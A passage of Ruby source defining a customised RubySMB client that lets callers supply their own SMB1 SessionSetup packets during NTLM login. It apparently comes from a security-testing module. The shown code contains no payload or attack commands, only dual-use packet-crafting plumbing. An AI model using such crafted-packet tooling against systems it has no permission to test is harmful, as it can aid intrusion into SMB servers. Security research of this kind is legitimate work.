# security_blob_length in the +SessionSetupRequest::ParameterBlock+
string :security_blob, label: 'Security Blob (GSS-API)'
string :native_os, label: 'Native OS'
string :native_lan_man, label: 'Native LAN Manager'
end
smb_header :smb_header
parameter_block :parameter_block
data_block :data_block
end
class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client
def send_recv(packet, encrypt: false)
version = packet.packet_smb_version
case version
when 'SMB1'
packet.smb_header.uid = user_id if user_id
packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0
packet = smb1_sign(packet)
when 'SMB2'
packet = increment_smb_message_id(packet)
packet.smb2_header.session_id = session_id
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
if smb2
packet = smb2_sign(packet)
elsif smb3
packet = smb3_sign(packet)
end
end
end
encrypt_data = false
if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)
encrypt_data = true
end
send_packet(packet, encrypt: encrypt_data)
raw_response = recv_packet(encrypt: encrypt_data)
smb2_header = nil
unless version == 'SMB1'
loop do
smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)
break unless is_status_pending?(smb2_header)
sleep 1
raw_response = recv_packet(encrypt: encrypt_data)
rescue IOError
# We're expecting an SMB2 packet, but the server sent an SMB1 packet
# instead. This behavior has been observed with older versions of Samba
# when something goes wrong on the server side. So, we just ignore it
# and expect the caller to handle this wrong response packet.
break
end
end
self.sequence_counter += 1 if signing_required && !session_key.empty?
# update the SMB2 message ID according to the received Credit Charged
self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit
raw_response
end
def login(username: self.username, password: self.password,
domain: self.domain, local_workstation: self.local_workstation,
ntlm_flags: default_flags, session_setup_packet: nil,
session_setup_auth_packet: nil)
negotiate
session_setup(username, password, domain,
local_workstation: local_workstation,
ntlm_flags: ntlm_flags,
session_setup_packet: session_setup_packet,
session_setup_auth_packet: session_setup_auth_packet)
end
def session_setup(user, pass, domain,
local_workstation: self.local_workstation, ntlm_flags: default_flags,
session_setup_packet: nil, session_setup_auth_packet: nil)
@domain = domain
@local_workstation = local_workstation
@password = pass.encode('utf-8') || ''.encode('utf-8')
@username = user.encode('utf-8') || ''.encode('utf-8')
@ntlm_client = Net::NTLM::Client.new(
@username,
@password,
workstation: @local_workstation,
domain: @domain,
flags: ntlm_flags
)
authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)
end
def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)
if smb1
if username.empty? && password.empty?
smb1_anonymous_auth
else
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
session_setup_auth_packet: smb1_setup_auth_pkt)
end
else
smb2_authenticate
end
end
def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil)
response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)
challenge_packet = smb1_ntlmssp_challenge_packet(response)
# Store the available OS information before going forward.
@peer_native_os = challenge_packet.data_block.native_os.to_s
@peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
user_id = challenge_packet.smb_header.uid
type2_b64_message = smb1_type2_message(challenge_packet)
type3_message = @ntlm_client.init_context(type2_b64_message)
@session_key = @ntlm_client.session_key
challenge_message = @ntlm_client.session.challenge_message
store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)
@os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?
raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)
response = smb1_ntlmssp_final_packet(raw)
response_code = response.status_code
@user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
response_code
end
def smb1_ntlmssp_negotiate(session_setup_packet: nil)
packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)
send_recv(packet)
end
def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)
packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)
send_recv(packet)
end
def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)
if session_setup_packet.nil?
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
packet.smb_header.uid = user_id
packet.set_type3_blob(type3_message.serialize)
packet.parameter_block.max_mpx_count = 50
packet.smb_header.flags2.extended_security = 1
packet
else
if session_setup_packet.data_block.security_blob.empty?
session_setup_packet.set_type3_blob(type3_message.serialize)
end
if session_setup_packet.smb_header.uid == 0
session_setup_packet.smb_header.uid = user_id
end
if session_setup_packet.parameter_block.max_buffer_size == 0
session_setup_packet.parameter_block.max_buffer_size = max_buffer_size
end
if session_setup_packet.smb_header.pid_low == 0
session_setup_packet.smb_header.pid_low = pid
end
session_setup_packet
end
end
def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)
type1_message = ntlm_client.init_context
if session_setup_packet.nil?
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet
packet.set_type1_blob(type1_message.serialize)
packet.parameter_block.max_mpx_count = 50
packet.smb_header.flags2.extended_security = 1
packet
else
if session_setup_packet.data_block.security_blob.empty?
session_setup_packet.set_type1_blob(type1_message.serialize)
end
session_setup_packet
end
end
end
end